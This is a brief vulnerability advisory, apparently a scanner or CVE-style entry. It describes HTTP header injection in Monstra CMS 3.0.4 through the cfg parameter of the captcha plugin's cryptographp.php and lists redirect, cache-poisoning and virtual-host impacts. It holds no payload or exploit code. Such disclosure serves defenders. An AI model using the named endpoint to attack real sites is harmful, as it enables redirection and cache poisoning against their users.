Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.
